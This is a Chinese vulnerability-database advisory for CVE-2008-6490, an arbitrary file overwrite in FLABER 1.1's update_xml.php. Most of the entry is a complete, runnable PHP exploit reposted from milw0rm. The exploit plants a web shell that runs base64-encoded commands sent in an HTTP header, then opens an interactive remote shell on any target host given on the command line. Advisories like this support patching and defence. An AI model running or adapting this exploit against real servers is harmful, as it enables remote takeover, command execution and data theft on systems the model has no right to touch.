FlysForum FLABER r'function/update_xml.php' 输入验证漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1114965 漏洞类型 输入验证
发布时间 2008-04-08 更新时间 2009-03-19
CVE编号 CVE-2008-6490 CNNVD-ID CNNVD-200903-316
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/5407
https://www.securityfocus.com/bid/84557
https://cxsecurity.com/issue/WLB-2009030197
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-316
|漏洞详情
FLABER是用php编写的基于Flash的Web开发工具。作为服务器端脚本和XML数据存储为基础的脚本。FLABER1.1版本及其早期版本的function/update_xml.php允许远程攻击者通过把target_file参数中的目标文件名列入清单,重写任意文件。注意:该漏洞可以通过重写一个PHP文件,例如function/upload_file.php,以执行代吗。
|漏洞EXP
<?php

/*
	--------------------------------------------------
	FLABER <= 1.1 RC1 Remote Command Execution Exploit
	--------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://sourceforge.net/projects/flaber

	[-] vulnerable code in /function/update_xml.php
	
	12.		$target_file = $_GET ["target_file"];
	13.		
	14.		// if the target is well defined, update now...
	15.		if ($target_file == "")
	16.		{
	17.			echo ("<critical>" . $FILE_NAME . " Incorrect parameter target_file.</critical>");
	18.			exit;
	19.		}
	20.		
	21.		
	22.		$target_file = "../" . $target_file;
	23.		
	24.		// if it is a file
	25.		if (is_file ($target_file))
	26.		{
	27.			if (!is_writable ($target_file))
	28.			{
	29.				echo ("<critical>" . $FILE_NAME . " " . $target_file . " is not writable.</critical>");
	30.				exit;
	31.			}		
	32.	
	33.			$fp = fopen($target_file, "w");
	34.			
	35.			$raw_xml = file_get_contents("php://input");
	36.			fwrite($fp, $raw_xml);
	37.			
	38.			fclose ($fp);
	39.			echo ("<normal>" . $FILE_NAME . " " . $target_file . " updated successfully.</normal>");
	40.			exit;
	41.		}
	
	an attacker could be overwrite an existing file with arbitrary data by $_POST array (lines 33-36)

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from ".$host.":80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

print "\n+------------------------------------------------------------+";
print "\n| FLABER <= 1.1 RC1 Remote Command Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage:		php $argv[0] host path\n";
	print "\nhost:		target server (ip/hostname)";
	print "\npath:		path to FLABER directory (example: / or /flaber/\n";
	die();
}

$host	= $argv[1];
$path	= $argv[2];

$payload = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>";
$packet  = "POST {$path}function/update_xml.php?target_file=function/upload_file.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!preg_match("/updated successfully/", http_send($host, $packet))) die("\n\n[-] Exploit failed...\n");

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
	print "\nxpl0it-sh3ll > ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$packet  = "GET {$path}function/upload_file.php HTTP/1.0\r\n";
		$packet .= "Host: {$host}\r\n";
		$packet .= "Cmd: ".base64_encode($cmd)."\r\n";
		$packet .= "Connection: close\r\n\r\n";
		$html = http_send($host, $packet);
		if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
		$shell = explode("_code_", $html);
		print "\n".$shell[1];
	}
	else break;
}

?>

# milw0rm.com [2008-04-08]
|受影响的产品
Flysforum Flaber 1.1
|参考资料

来源:XF
名称:flaber-updatexml-code-execution(41715)
链接:http://xforce.iss.net/xforce/xfdb/41715
来源:VUPEN
名称:ADV-2008-1163
链接:http://www.vupen.com/english/advisories/2008/1163/references
来源:MILW0RM
名称:5407
链接:http://www.milw0rm.com/exploits/5407